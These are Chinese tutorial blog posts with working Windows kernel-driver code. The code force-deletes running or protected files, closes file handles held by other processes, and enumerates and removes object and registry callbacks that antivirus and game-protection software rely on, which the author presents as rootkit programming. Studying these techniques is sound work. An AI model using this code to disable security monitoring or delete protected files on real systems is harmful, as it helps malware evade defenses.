DemonGan的文章

  • ring0层下实现的文件强制删除

    7.6 文件强删在日常生活使用电脑的过程中,遇到删不掉的文件的时候,我们总会通过一些软件提供的强制删除文件功能来删除顽固的文件。文件强删技术对于杀软来说是清楚病毒木马的武器,在扫描器检测出恶意文件的时候,就需要强删功能来清除恶意文件。而对于病毒木马来说,反过来可以用强删技术来强制删除系统保护文件或是受杀软保护的文件。
    本文将会介绍文件强删技术,即使文件正在运行,也能强制删除本地文件。
    实现过程当文件是PE文件而且已经被加载到内存中的时候,正常情况下是无法通过资源管理器explorer.exe来删除本地文件的,因为在删除运行中的文件或者被加载的DLL文件的时候,系统会调用MmFlushImageSection内核函数来检测文件是否处于运行状态,若是,则拒绝删除操作。其中,系统中的MmFlushImageSection内核函数,主要是通过检查文件对象中的PSECTION_OBJECT_POINTERS结构数据来判断该文件是否处于运行状态、是否可以删除。
    同时,在发送IRP删除文件的时候,系统同样会判断文件的属性是否是只读,若是只读属性则会拒绝删除操作。
    所以,根据上述的删除原理,文件强制删除的具体实现流程如下所示。
    首先,发送IRP打开删除文件,并获取文件对象。
    然后,发送IRP设置文件属性,属性类型为FileBasicInformation,将文件属性重新设置为FILE_ATTRIBUTE_NORMAL,防止原来的文件属性为只读属性。并保存文件对象中的PSECTION_OBJECT_POINTERS结构的值,保存完成后,再对该结构进行清空处理。
    接着,发送IRP设置文件属性,属性类型为FileDispositionInformation,实现删除文件操作。这样,即使是运行中的文件也能被强制删除。
    最后,还原文件对象中的PSECTION_OBJECT_POINTERS结构,并调用ObDereferenceObject函数释放文件对象,完成清理工作。
    那么,实现文件强制删除的实现代码如下所示。
    // 强制删除文件NTSTATUS ForceDeleteFile(UNICODE_STRING ustrFileName){ NTSTATUS status = STATUS_SUCCESS; PFILE_OBJECT pFileObject = NULL; IO_STATUS_BLOCK iosb = { 0 }; FILE_BASIC_INFORMATION fileBaseInfo = { 0 }; FILE_DISPOSITION_INFORMATION fileDispositionInfo = { 0 }; PVOID pImageSectionObject = NULL; PVOID pDataSectionObject = NULL; PVOID pSharedCacheMap = NULL; // 发送IRP打开文件 status = IrpCreateFile(&pFileObject, GENERIC_READ | GENERIC_WRITE, &ustrFileName, &iosb, NULL, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_OPEN, FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0); if (!NT_SUCCESS(status)) { DbgPrint("IrpCreateFile Error[0x%X]\n", status); return FALSE; } // 发送IRP设置文件属性, 去掉只读属性, 修改为 FILE_ATTRIBUTE_NORMAL RtlZeroMemory(&fileBaseInfo, sizeof(fileBaseInfo)); fileBaseInfo.FileAttributes = FILE_ATTRIBUTE_NORMAL; status = IrpSetInformationFile(pFileObject, &iosb, &fileBaseInfo, sizeof(fileBaseInfo), FileBasicInformation); if (!NT_SUCCESS(status)) { DbgPrint("IrpSetInformationFile[SetInformation] Error[0x%X]\n", status); return status; } // 清空PSECTION_OBJECT_POINTERS结构 if (pFileObject->SectionObjectPointer) { // 保存旧值 pImageSectionObject = pFileObject->SectionObjectPointer->ImageSectionObject; pDataSectionObject = pFileObject->SectionObjectPointer->DataSectionObject; pSharedCacheMap = pFileObject->SectionObjectPointer->SharedCacheMap; // 置为空 pFileObject->SectionObjectPointer->ImageSectionObject = NULL; pFileObject->SectionObjectPointer->DataSectionObject = NULL; pFileObject->SectionObjectPointer->SharedCacheMap = NULL; } // 发送IRP设置文件属性, 设置删除文件操作 RtlZeroMemory(&fileDispositionInfo, sizeof(fileDispositionInfo)); fileDispositionInfo.DeleteFile = TRUE; status = IrpSetInformationFile(pFileObject, &iosb, &fileDispositionInfo, sizeof(fileDispositionInfo), FileDispositionInformation); if (!NT_SUCCESS(status)) { DbgPrint("IrpSetInformationFile[DeleteFile] Error[0x%X]\n", status); return status; } //还原旧值 if (pFileObject->SectionObjectPointer) { pFileObject->SectionObjectPointer->ImageSectionObject = pImageSectionObject; pFileObject->SectionObjectPointer->DataSectionObject = pDataSectionObject; pFileObject->SectionObjectPointer->SharedCacheMap = pSharedCacheMap; } // 关闭文件对象 ObDereferenceObject(pFileObject); return status;}
    测试在64位Windows 10操作系统上,运行C:\520.exe程序后,直接加载并运行上述驱动程序,强制删除正在运行的520.exe文件。520.exe本地文件成功被删除,如图7-6所示。

    小结本文介绍的文件强删技术的实现原理是,通过发送IRP打开文件,获取文件对象;发送IRP设置文件属性,去掉只读属性;清空文件对象中的PSECTION_OBJECT_POINTERS结构,使运行中的程序文件能够被删除;最后发送IRP删除文件并释放文件对象。
    本文介绍的文件强删技术可以删除正在运行的exe文件,但是不适用于前面介绍的发送IRP打开文件不关闭的文件保护方法。要想强制删除发送IRP打开文件不关闭的文件保护,需要关闭打开的文件对象。可以利用XCB解锁技术,通过硬编码定位出文件对象中SCB(Stream Control Block)、FCB(File Control Blokc)、CCB(Context Control Block)结构的CleanupCount变量,并将CleanupCount都置为1,再调用ObDereferenceObject函数关闭文件对象并释放资源。XCB解锁技术不仅可以解锁发送IRP打开文件的保护方式,同样适用于硬链接文件保护。
    参考参考自《Windows黑客编程技术详解》一书
    1  留言 2019-04-28 10:04:32
  • ring0解锁文件

    背景当我们要删除一个文件的的时候,有时候会出现“文件被占用”或是“无法删除”的提示框,这往往是由于该文件句柄已经在其它进程中打开未关闭的缘故。
    本文要介绍的是关闭在其它进程中的文件句柄,对文件进行解锁。现在,我把实现过程和原理,整理成文档,分享给大家。
    实现原理要实现对指定文件进行解锁,我们首先要做的就是获取这个文件所有被打开的文件句柄,然后在关闭这些句柄即可。那么接下来,我就对指定文件句柄的遍历以及结束文件句柄的实现原理分别进行解析。
    遍历指定文件句柄
    首先,我们使用 16 号功能调用 ZwQuerySystemInformation 函数,获取系统上所有的句柄数据。其中,ZwQuerySystemInformation 是一个未导出的内核函数,16号功能即 SystemHandleInformation 功能,用来获取系统上的所有句柄信息,根据 SYSTEM_HANDLE_INFORMATION 结构体来获取返回的数据信息。
    然后,遍历系统上每一个句柄并进行判断。
    1> 首先,我们可以从上述 16 号功能中获取到句柄对应进程 ID 的信息,这样,可以先调用 ZwOpenProcess 打开句柄所在的进程;
    2> 然后,调用 ZwDuplicateObject 函数将已打开进程中的文件句柄复制到当前进程 NtCurrentProcess 中;
    3> 接着,使用1 号功能调用 ZwQueryObject 函数获取句柄的类型和名称;
    4> 最后,根据句柄对应的文件名称判断是否是要解锁的文件,若是,则开始对文件进行解锁;若不是,则继续对下一个句柄进行判断。
    最后,释放内存。

    结束指定文件句柄
    首先,我们根据要解锁的文件句柄对应的进程ID,调用内核函数 PsLookupProcessByProcessId 来获取进程结构对象 EPROCESS;
    然后,调用 KeStackAttachProcess 附件到目标进程中;
    接着,调用未导出函数 ObSetHandleAttributes 函数,对文件句柄的属性进行设置,将其文件句柄设置为“可以关闭”;
    接着,调用 ZwClose 函数,关闭文件句柄;
    最后,调用 KeUnstackDetachProcess 结束附加到目标进程。

    编码实现获取并遍历系统上所有句柄// 遍历句柄, 解锁文件BOOLEAN Unlockfile(UNICODE_STRING ustrUnlockFileName){ NTSTATUS status = STATUS_SUCCESS; SYSTEM_HANDLE_INFORMATION tempSysHandleInfo = {0}; PSYSTEM_HANDLE_INFORMATION pSysHandleInfo = NULL; ULONG ulSysHandleInfoSize = 0; ULONG ulReturnLength = 0; ULONGLONG ullSysHandleCount = 0; PSYSTEM_HANDLE_TABLE_ENTRY_INFO pSysHandleTableEntryInfo = NULL; ULONGLONG i = 0; BOOLEAN bRet = FALSE; // 调用ZwQuerySystemInformation的16号功能来枚举系统里的句柄 // 先获取缓冲区大小 ZwQuerySystemInformation(16, &tempSysHandleInfo, sizeof(tempSysHandleInfo), &ulSysHandleInfoSize); if (0 >= ulSysHandleInfoSize) { ShowError("ZwQuerySystemInformation", 0); return FALSE; } DbgPrint("ulSysHandleInfoSize=%d\n", ulSysHandleInfoSize); // 申请缓冲区内存 pSysHandleInfo = (PSYSTEM_HANDLE_INFORMATION)ExAllocatePool(NonPagedPool, ulSysHandleInfoSize); if (NULL == pSysHandleInfo) { ShowError("ExAllocatePool", 0); return FALSE; } RtlZeroMemory(pSysHandleInfo, ulSysHandleInfoSize); // 获取系统中所有句柄的信息 status = ZwQuerySystemInformation(16, pSysHandleInfo, ulSysHandleInfoSize, &ulReturnLength); if (!NT_SUCCESS(status)) { ExFreePool(pSysHandleInfo); ShowError("ZwQuerySystemInformation", status); return FALSE; } // 获取系统所有句柄数量以及句柄信息数组 ullSysHandleCount = pSysHandleInfo->NumberOfHandles; pSysHandleTableEntryInfo = pSysHandleInfo->Handles; // 开始遍历系统上所有句柄 for (i = 0; i < ullSysHandleCount; i++) { // 获取句柄信息并判断是否是解锁文件句柄 bRet = IsUnlockFileHandle(pSysHandleTableEntryInfo[i], ustrUnlockFileName); if (bRet) { // 关闭文件句柄, 解锁文件 CloseFileHandle(pSysHandleTableEntryInfo[i]); // 显示 DbgPrint("[UnlockFile][%d][%d]\n", pSysHandleTableEntryInfo[i].UniqueProcessId, pSysHandleTableEntryInfo[i].HandleValue); } } // 释放 ExFreePool(pSysHandleInfo);}
    获取句柄信息并判断是否是解锁文件句柄// 获取句柄信息并判断是否是解锁文件句柄BOOLEAN IsUnlockFileHandle(SYSTEM_HANDLE_TABLE_ENTRY_INFO sysHandleTableEntryInfo, UNICODE_STRING ustrUnlockFileName){ NTSTATUS status = STATUS_SUCCESS; CLIENT_ID clientId = { 0 }; OBJECT_ATTRIBUTES objectAttributes = { 0 }; HANDLE hSourceProcess = NULL; HANDLE hDupObj = NULL; POBJECT_NAME_INFORMATION pObjNameInfo = NULL; ULONG ulObjNameInfoSize = 0; BOOLEAN bRet = FALSE; WCHAR wszSrcFile[FILE_PATH_MAX_NUM] = { 0 }; WCHAR wszDestFile[FILE_PATH_MAX_NUM] = { 0 }; // 根据句柄对应的PID打开进程获取句柄对应的进程句柄 do { InitializeObjectAttributes(&objectAttributes, NULL, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL); RtlZeroMemory(&clientId, sizeof(clientId)); clientId.UniqueProcess = sysHandleTableEntryInfo.UniqueProcessId; status = ZwOpenProcess(&hSourceProcess, PROCESS_ALL_ACCESS, &objectAttributes, &clientId); if (!NT_SUCCESS(status)) { ShowError("ZwOpenProcess", status); break; } // 将已打开进程中的文件句柄复制到当前进程 NtCurrentProcess 中 status = ZwDuplicateObject(hSourceProcess, sysHandleTableEntryInfo.HandleValue, NtCurrentProcess(), &hDupObj, PROCESS_ALL_ACCESS, 0, DUPLICATE_SAME_ACCESS); if (!NT_SUCCESS(status)) { ShowError("ZwDuplicateObject", status); break; } // 查询句柄的名称信息 // 先获取缓冲区大小 ZwQueryObject(hDupObj, 1, NULL, 0, &ulObjNameInfoSize); if (0 >= ulObjNameInfoSize) { ShowError("ZwQueryObject", 0); break; } // 申请缓冲区内存 pObjNameInfo = ExAllocatePool(NonPagedPool, ulObjNameInfoSize); if (NULL == pObjNameInfo) { ShowError("ExAllocatePool", 0); break; } RtlZeroMemory(pObjNameInfo, ulObjNameInfoSize); // 获取句柄名称类型信息 status = ZwQueryObject(hDupObj, 1, pObjNameInfo, ulObjNameInfoSize, &ulObjNameInfoSize); if (!NT_SUCCESS(status)) { ShowError("ZwQueryObject", 0); break; } // 判断是否要解锁的文件 DbgPrint("[File]%wZ\n", &pObjNameInfo->Name); RtlZeroMemory(wszSrcFile, FILE_PATH_MAX_NUM*sizeof(WCHAR)); RtlZeroMemory(wszDestFile, FILE_PATH_MAX_NUM*sizeof(WCHAR)); RtlCopyMemory(wszSrcFile, pObjNameInfo->Name.Buffer, pObjNameInfo->Name.Length); RtlCopyMemory(wszDestFile, ustrUnlockFileName.Buffer, ustrUnlockFileName.Length); if (NULL != wcsstr(wszSrcFile, wszDestFile)) { bRet = TRUE; break; } } while (FALSE); // 释放 if (NULL != pObjNameInfo) { ExFreePool(pObjNameInfo); } if (NULL != hDupObj) { ZwClose(hDupObj); } if (NULL != hSourceProcess) { ZwClose(hSourceProcess); } return bRet;}
    关闭文件句柄// 关闭文件句柄, 解锁文件BOOLEAN CloseFileHandle(SYSTEM_HANDLE_TABLE_ENTRY_INFO sysHandleTableEntryInfo){ NTSTATUS status = STATUS_SUCCESS; PEPROCESS pEProcess = NULL; HANDLE hFileHandle = NULL; KAPC_STATE apcState = { 0 }; OBJECT_HANDLE_FLAG_INFORMATION objectHandleFlagInfo = { 0 }; // 获取文件句柄 hFileHandle = sysHandleTableEntryInfo.HandleValue; // 获取文件句柄对应的进程结构对象EPROCESS status = PsLookupProcessByProcessId(sysHandleTableEntryInfo.UniqueProcessId, &pEProcess); if (!NT_SUCCESS(status)) { ShowError("PsLookupProcessByProcessId", status); return FALSE; } // 附加到文件句柄对应的进程空间 KeStackAttachProcess(pEProcess, &apcState); // 将文件句柄的属性设置为“可以关闭” objectHandleFlagInfo.Inherit = 0; objectHandleFlagInfo.ProtectFromClose = 0; ObSetHandleAttributes((HANDLE)hFileHandle, &objectHandleFlagInfo, KernelMode); // 关闭文件句柄 ZwClose((HANDLE)hFileHandle); // 结束进程附加 KeUnstackDetachProcess(&apcState); return TRUE;}
    程序测试在 Win7 32 位系统下,驱动程序正常执行:

    在 Win8.1 32 位系统下,驱动程序正常执行:

    在 Win10 32 位系统下,驱动程序正常执行:

    在 Win7 64 位系统下,驱动程序正常执行:

    在 Win8.1 64 位系统下,驱动程序正常执行:

    在 Win10 64 位系统下,驱动程序正常执行:

    总结对于这个程序的实现,关键是要获取系统上所有的句柄,并对句柄进行判断,判断哪些句柄是指定文件的句柄。在获取文件句柄信息之后,我们就可以通过进程附加,结束文件句柄即可。
    所以,大家要着重理解句柄遍历的实现过程。
    参考参考自《Windows黑客编程技术详解》一书
    2  留言 2019-04-04 16:33:40
  • 枚举并删除系统上ObRegisterCallbacks回调

    背景我们学习内核 Rootkit 编程,那么肯定会接触到各种无 HOOK 回调函数的设置,这些回调函数都是官方为我们做好的接口,我们直接调用就好。这些回调使用方便,运行在底层,功能强大,而且非常稳定。很多杀软、游戏保护等就是设置这些回调,实现对计算机的监控的。
    既然可以设置回调,自然也可以删除回调。如果是自己程序设置的回调,当然可以很容易删除。但是,我们要做的是要枚举系统上存在的回调,不管是不是自己程序创建的,然后,并对这些回调进行删除,使其失效。
    本文要介绍的是枚举并删除系统上 ObRegisterCallbacks 回调,支持 32 位和 64 位、Win7 到 Win10 全平台系统。现在,我把实现的过程和原理整理成文档,分享给大家。
    实现原理我们注册的对象回调,会存储在一个表头为 CallbackList 的双向链表里,它存储着系统里所有 ObRegisterCallbacks 对象回调操作前回调函数地址、操作后回调函数地址和对象回调句柄的信息。
    经过使用 WinDbg 逆向,总结得出 CallbackList 双向链表指向的数据结构为:
    #pragma pack(1)typedef struct _OB_CALLBACK{ LIST_ENTRY ListEntry; ULONGLONG Unknown; HANDLE ObHandle; PVOID ObTypeAddr; PVOID PreCall; PVOID PostCall;}OB_CALLBACK, *POB_CALLBACK;#pragma pack()
    经过分析,无论 32 位或 64 位平台,成员 Unknown 数据类型是 8 字节,而不是PVOID!分析方法为,使用 WinDbg 的命令 dd CallbackList(0x9A485632), 获取 CallbackList 双向链表地址及其附近的数据,与使用 ObRegisterCallback 设置的回调信息比对,比对设置的回调地址、句柄等, 从而确定。
    ListEntry 中存储着下一个或者上一个 OB_CALLBACK 结构体指针的信息,我们通过遍历这个双向链表,就可以枚举出 ObRegisterCallbacks 对象回调函数地址和句柄的信息。
    CallbackList 地址的获取CallbackList 的地址,可以直接从对象类型中获取。如果要获取进程对象回调函数的双向链表信息,可以从 *PsProcessType 中获取;如果要获取线程对象回调函数的双向链表信息,可以从 *PsThreadType 中获取。
    其中,进程对象类型 *PsProcessType 和线程对象类型 *PsThreadType 的数据结构类型为 POBJECT_TYPE,那么数据结构定义为:
    typedef struct _OBJECT_TYPE{ LIST_ENTRY TypeList; // _LIST_ENTRY UNICODE_STRING Name; // _UNICODE_STRING PVOID DefaultObject; // Ptr64 Void UCHAR Index; // UChar ULONG TotalNumberOfObjects; // Uint4B ULONG TotalNumberOfHandles; // Uint4B ULONG HighWaterNumberOfObjects; // Uint4B ULONG HighWaterNumberOfHandles; // Uint4B OBJECT_TYPE_INITIALIZER TypeInfo; // _OBJECT_TYPE_INITIALIZER EX_PUSH_LOCK TypeLock; // _EX_PUSH_LOCK ULONG Key; // Uint4B LIST_ENTRY CallbackList; // _LIST_ENTRY}OBJECT_TYPE, *POBJECT_TYPE;
    其中,OBJECT_TYPE_INITIALIZER 数据结构类型的定义为:
    typedef struct _OBJECT_TYPE_INITIALIZER{ USHORT Length; // Uint2B UCHAR ObjectTypeFlags; // UChar ULONG ObjectTypeCode; // Uint4B ULONG InvalidAttributes; // Uint4B GENERIC_MAPPING GenericMapping; // _GENERIC_MAPPING ULONG ValidAccessMask; // Uint4B ULONG RetainAccess; // Uint4B POOL_TYPE PoolType; // _POOL_TYPE ULONG DefaultPagedPoolCharge; // Uint4B ULONG DefaultNonPagedPoolCharge; // Uint4B PVOID DumpProcedure; // Ptr64 void PVOID OpenProcedure; // Ptr64 long PVOID CloseProcedure; // Ptr64 void PVOID DeleteProcedure; // Ptr64 void PVOID ParseProcedure; // Ptr64 long PVOID SecurityProcedure; // Ptr64 long PVOID QueryNameProcedure; // Ptr64 long PVOID OkayToCloseProcedure; // Ptr64 unsigned char#if (NTDDI_VERSION >= NTDDI_WINBLUE) // Win8.1 ULONG WaitObjectFlagMask; // Uint4B USHORT WaitObjectFlagOffset; // Uint2B USHORT WaitObjectPointerOffset; // Uint2B#endif}OBJECT_TYPE_INITIALIZER, *POBJECT_TYPE_INITIALIZER;
    其中,进程对象类型 *PsProcessType 和线程对象类型 *PsThreadType 系统已经在头文件 wdm.h 中为我们导入:
    // #include <wdm.h>extern POBJECT_TYPE *CmKeyObjectType;extern POBJECT_TYPE *IoFileObjectType;extern POBJECT_TYPE *ExEventObjectType;extern POBJECT_TYPE *ExSemaphoreObjectType;extern POBJECT_TYPE *TmTransactionManagerObjectType;extern POBJECT_TYPE *TmResourceManagerObjectType;extern POBJECT_TYPE *TmEnlistmentObjectType;extern POBJECT_TYPE *TmTransactionObjectType;extern POBJECT_TYPE *PsProcessType;extern POBJECT_TYPE *PsThreadType;extern POBJECT_TYPE *SeTokenObjectType;
    所以,可直接从 *PsProcessType、 *PsThreadType 等对象类型 POBJECT_TYPE 中获取对应类型的 CallbackList 双向链表的地址。注意,不同的对象类型,都有一个属于自己类型的 CallbackList 双向链表。
    我们只要对 CallbackList 双向链表进行遍历,就可以获取对应对象类型的回调信息。
    获取进程对象类型 *PsProcessType 的 CallbackList 地址代码为:
    ((POBJECT_TYPE)(*PsProcessType))->CallbackList;
    获取线程对象类型 *PsThreadType 的 CallbackList 地址代码为:
    ((POBJECT_TYPE)(*PsThreadType))->CallbackList;
    删除回调我们可以通过上述介绍的方法,枚举系统中的回调函数。那么,要删除回调函数可以有 3 种方式:

    可以直接调用 ObUnRegisterCallbacks 函数,传入回调句柄,即可删除回调
    修改 CallbackList 双向链表中的数据,使其指向我们自己定义的空回调函数地址。这样,当触发回调函数的时候,执行的是我们自己的空回调函数
    修改回调函数的前几字节内存数据,写入直接返回指令 RET,不进行任何操作

    编码实现获取进程对象类型回调// 获取进程对象类型回调BOOLEAN EnumProcessObCallback(){ POB_CALLBACK pObCallback = NULL; // 直接获取 CallbackList 链表 LIST_ENTRY CallbackList = ((POBJECT_TYPE)(*PsProcessType))->CallbackList; // 开始遍历 pObCallback = (POB_CALLBACK)CallbackList.Flink; do { if (FALSE == MmIsAddressValid(pObCallback)) { break; } if (NULL != pObCallback->ObHandle) { // 显示 DbgPrint("[PsProcessType]pObCallback->ObHandle = 0x%p\n", pObCallback->ObHandle); DbgPrint("[PsProcessType]pObCallback->PreCall = 0x%p\n", pObCallback->PreCall); DbgPrint("[PsProcessType]pObCallback->PostCall = 0x%p\n", pObCallback->PostCall); } // 获取下一链表信息 pObCallback = (POB_CALLBACK)pObCallback->ListEntry.Flink; } while (CallbackList.Flink != (PLIST_ENTRY)pObCallback); return TRUE;}
    获取线程对象类型回调// 获取线程对象类型回调BOOLEAN EnumThreadObCallback(){ POB_CALLBACK pObCallback = NULL; // 直接获取 CallbackList 链表 LIST_ENTRY CallbackList = ((POBJECT_TYPE)(*PsThreadType))->CallbackList; // 开始遍历 pObCallback = (POB_CALLBACK)CallbackList.Flink; do { if (FALSE == MmIsAddressValid(pObCallback)) { break; } if (NULL != pObCallback->ObHandle) { // 显示 DbgPrint("[PsThreadype]pObCallback->ObHandle = 0x%p\n", pObCallback->ObHandle); DbgPrint("[PsThreadType]pObCallback->PreCall = 0x%p\n", pObCallback->PreCall); DbgPrint("[PsThreadType]pObCallback->PostCall = 0x%p\n", pObCallback->PostCall); } // 获取下一链表信息 pObCallback = (POB_CALLBACK)pObCallback->ListEntry.Flink; } while (CallbackList.Flink != (PLIST_ENTRY)pObCallback); return TRUE;}
    移除回调// 移除回调NTSTATUS RemoveObCallback(PVOID RegistrationHandle){ ObUnRegisterCallbacks(RegistrationHandle); return STATUS_SUCCESS;}
    程序测试在 Win7 32 位系统下,驱动程序正常执行:

    在 Win8.1 32 位系统下,驱动程序正常执行:

    在 Win10 32 位系统下,驱动程序正常执行:

    在 Win7 64 位系统下,驱动程序正常执行:

    在 Win8.1 64 位系统下,驱动程序正常执行:

    在 Win10 64 位系统下,驱动程序正常执行:

    总结要理解清楚获取 CallbackList 双向链表地址的流程,其中,不同系统的数据结构定义是不同的,要注意区分。大家也不用记忆这些特征码,如果需要用到,可以随时使用 WinDbg 来进行逆向查看就好。
    删除回调常用就有 3 种方式,自己根据需要选择一种使用即可。
    参考参考自《Windows黑客编程技术详解》一书
    1  留言 2019-03-29 14:19:44
  • 枚举并删除系统上CmRegisterCallback回调

    背景我们学习内核 Rootkit 编程,那么肯定会接触到各种无 HOOK 回调函数的设置,这些回调函数都是官方为我们做好的接口,我们直接调用就好。这些回调使用方便,运行在底层,功能强大,而且非常稳定。很多杀软、游戏保护等就是设置这些回调,实现对计算机的监控的。
    既然可以设置回调,自然也可以删除回调。如果是自己程序设置的回调,当然可以很容易删除。但是,我们要做的是要枚举系统上存在的回调,不管是不是自己程序创建的,然后,并对这些回调进行删除,使其失效。
    本文要介绍的是枚举并删除系统上 CmRegisterCallback 回调,支持 32 位和 64 位、Win7 到 Win10 全平台系统。现在,我把实现的过程和原理整理成文档,分享给大家。
    实现原理我们注册的注册表回调,会存储在一个表头为 CallbackListHead 的双向链表里,它存储着系统里所有 CmRegisterCallback 注册表回调函数地址和 Cookie 的信息。
    经过使用 WinDbg 逆向,总结得出 CallbackListHead 双向链表指向的数据结构为:
    typedef struct _CM_NOTIFY_ENTRY { LIST_ENTRY ListEntryHead; ULONG UnKnown1; ULONG UnKnown2; LARGE_INTEGER Cookie; PVOID Context; PVOID Function; }CM_NOTIFY_ENTRY, *PCM_NOTIFY_ENTRY;
    其中,ListEntryHead 中存储着下一个或者上一个 CM_NOTIFY_ENTRY 结构体指针的信息,我们通过遍历这个双向链表,就可以枚举出 CmRegisterCallback 注册表回调函数地址和 Cookie 的信息。
    CallbackListHead 表头地址的获取CallbackListHead 表头,可以从内核导出函数 CmUnRegisterCallback 中获取。 我们借助 WinDbg 帮助我们逆向 CmUnRegisterCallback 内核函数,下面是 Win10 64 位系统上 CmUnRegisterCallback 函数的逆向代码:
    nt!CmUnRegisterCallback+0x44:fffff800`24b17dc8 4533c0 xor r8d,r8dfffff800`24b17dcb 488d542438 lea rdx,[rsp+38h]fffff800`24b17dd0 488d0d39f5dbff lea rcx,[nt!CallbackListHead (fffff800`248d7310)]
    由上面的代码,我们可以通过在内核函数 CmUnRegisterCallback 中扫描内存特征码,在 32 位系统下,可以直接定位得到 CallbackListHead 表头的地址;在 64 位下,可以获取 CallbackListHead 表头的偏移,从而根据偏移计算出地址。但是,特征码在不同系统上也会不同,下面是我使用 WinDbg 逆向各个版本系统上的函数,总结的特征码:




    Win7
    win8.1
    win10




    32 位
    BF
    BE
    B9


    64 位
    488D54
    488D0D
    488D0D



    上述中,Win7 64 位的逆向信息如下:
    nt!CmUnRegisterCallback+0xc6:fffff800`042b7856 4533c0 xor r8d,r8dfffff800`042b7859 488d542420 lea rdx,[rsp+20h]fffff800`042b785e 488d0d6b69dcff lea rcx,[nt!CallbackListHead (fffff800`0407e1d0)]
    特征码我们选用的是 488D54,因为特征码 488D0D 在出现 CallbackListHead 内存之前就多次出现,为了特征码唯一,所以,选取 488D54 特征码来定位。
    总的来说,我们直接通过扫描 CmUnRegisterCallback 函数内存,就可获取 CallbackListHead 表头地址了。其中,特征码的确定就变得至关重要。
    删除回调我们可以通过上述介绍的方法,枚举系统中的回调函数。那么,要删除回调函数可以有 3 种方式:

    可以直接调用 CmUnRegisterCallback 函数,传入回调 Cookie,即可删除回调
    修改 CallbackListHead 双向链表中的数据,使其指向我们自己定义的空回调函数地址。这样,当触发回调函数的时候,执行的是我们自己的空回调函数
    修改回调函数的前几字节内存数据,写入直接返回指令 RET,不进行任何操作

    编码实现遍历回调// 遍历回调BOOLEAN EnumCallback(){ ULONG i = 0; PVOID pCallbackListHeadAddress = NULL; PCM_NOTIFY_ENTRY pNotifyEntry = NULL; // 获取 CallbackListHead 链表地址 pCallbackListHeadAddress = GetCallbackListHead(); if (NULL == pCallbackListHeadAddress) { DbgPrint("GetCallbackListHead Error!\n"); return FALSE; } DbgPrint("pCallbackListHeadAddress=0x%p\n", pCallbackListHeadAddress); // 开始遍历双向链表 pNotifyEntry = (PCM_NOTIFY_ENTRY)pCallbackListHeadAddress; do { // 判断 pNotifyEntry 地址是否有效 if (FALSE == MmIsAddressValid(pNotifyEntry)) { break; } // 判断 回调函数 地址是否有效 if (MmIsAddressValid(pNotifyEntry->Function)) { // 显示 DbgPrint("CallbackFunction=0x%p, Cookie=0x%I64X\n", pNotifyEntry->Function, pNotifyEntry->Cookie.QuadPart); } // 获取下一链表 pNotifyEntry = (PCM_NOTIFY_ENTRY)pNotifyEntry->ListEntryHead.Flink; } while (pCallbackListHeadAddress != (PVOID)pNotifyEntry); return TRUE;}
    移除回调// 移除回调NTSTATUS RemoveCallback(LARGE_INTEGER Cookie){ NTSTATUS status = CmUnRegisterCallback(Cookie); if (!NT_SUCCESS(status)) { ShowError("CmUnRegisterCallback", status); } return status;}
    获取 CallbackListHead 链表地址// 获取 CallbackListHead 链表地址PVOID GetCallbackListHead(){ PVOID pCallbackListHeadAddress = NULL; RTL_OSVERSIONINFOW osInfo = { 0 }; UCHAR pSpecialData[50] = { 0 }; ULONG ulSpecialDataSize = 0; LONG lSpecialOffset = 0; // 获取系统版本信息, 判断系统版本 RtlGetVersion(&osInfo); if (6 == osInfo.dwMajorVersion) { if (1 == osInfo.dwMinorVersion) { // Win7#ifdef _WIN64 // 64 位 // 488D54 pSpecialData[0] = 0x48; pSpecialData[1] = 0x8D; pSpecialData[2] = 0x54; ulSpecialDataSize = 3; lSpecialOffset = 5;#else // 32 位 // BF pSpecialData[0] = 0xBF; ulSpecialDataSize = 1;#endif } else if (2 == osInfo.dwMinorVersion) { // Win8#ifdef _WIN64 // 64 位#else // 32 位#endif } else if (3 == osInfo.dwMinorVersion) { // Win8.1#ifdef _WIN64 // 64 位 // 488D0D pSpecialData[0] = 0x48; pSpecialData[1] = 0x8D; pSpecialData[2] = 0x0D; ulSpecialDataSize = 3;#else // 32 位 // BE pSpecialData[0] = 0xBE; ulSpecialDataSize = 1;#endif } } else if (10 == osInfo.dwMajorVersion) { // Win10#ifdef _WIN64 // 64 位 // 488D0D pSpecialData[0] = 0x48; pSpecialData[1] = 0x8D; pSpecialData[2] = 0x0D; ulSpecialDataSize = 3;#else // 32 位 // B9 pSpecialData[0] = 0xB9; ulSpecialDataSize = 1;#endif } // 根据特征码获取地址 pCallbackListHeadAddress = SearchCallbackListHead(pSpecialData, ulSpecialDataSize, lSpecialOffset); return pCallbackListHeadAddress;}
    根据特征码获取 CallbackListHead 链表地址// 根据特征码获取 CallbackListHead 链表地址PVOID SearchCallbackListHead(PUCHAR pSpecialData, ULONG ulSpecialDataSize, LONG lSpecialOffset){ UNICODE_STRING ustrFuncName; PVOID pAddress = NULL; LONG lOffset = 0; PVOID pCmUnRegisterCallback = NULL; PVOID pCallbackListHead = NULL; // 先获取 CmUnRegisterCallback 函数地址 RtlInitUnicodeString(&ustrFuncName, L"CmUnRegisterCallback"); pCmUnRegisterCallback = MmGetSystemRoutineAddress(&ustrFuncName); if (NULL == pCmUnRegisterCallback) { ShowError("MmGetSystemRoutineAddress", 0); return pCallbackListHead; } // 然后, 查找 PspSetCreateProcessNotifyRoutine 函数地址 pAddress = SearchMemory(pCmUnRegisterCallback, (PVOID)((PUCHAR)pCmUnRegisterCallback + 0xFF), pSpecialData, ulSpecialDataSize); if (NULL == pAddress) { ShowError("SearchMemory", 0); return pCallbackListHead; } // 获取地址#ifdef _WIN64 // 64 位先获取偏移, 再计算地址 lOffset = *(PLONG)((PUCHAR)pAddress + lSpecialOffset); pCallbackListHead = (PVOID)((PUCHAR)pAddress + lSpecialOffset + sizeof(LONG) + lOffset);#else // 32 位直接获取地址 pCallbackListHead = *(PVOID *)((PUCHAR)pAddress + lSpecialOffset);#endif return pCallbackListHead;}
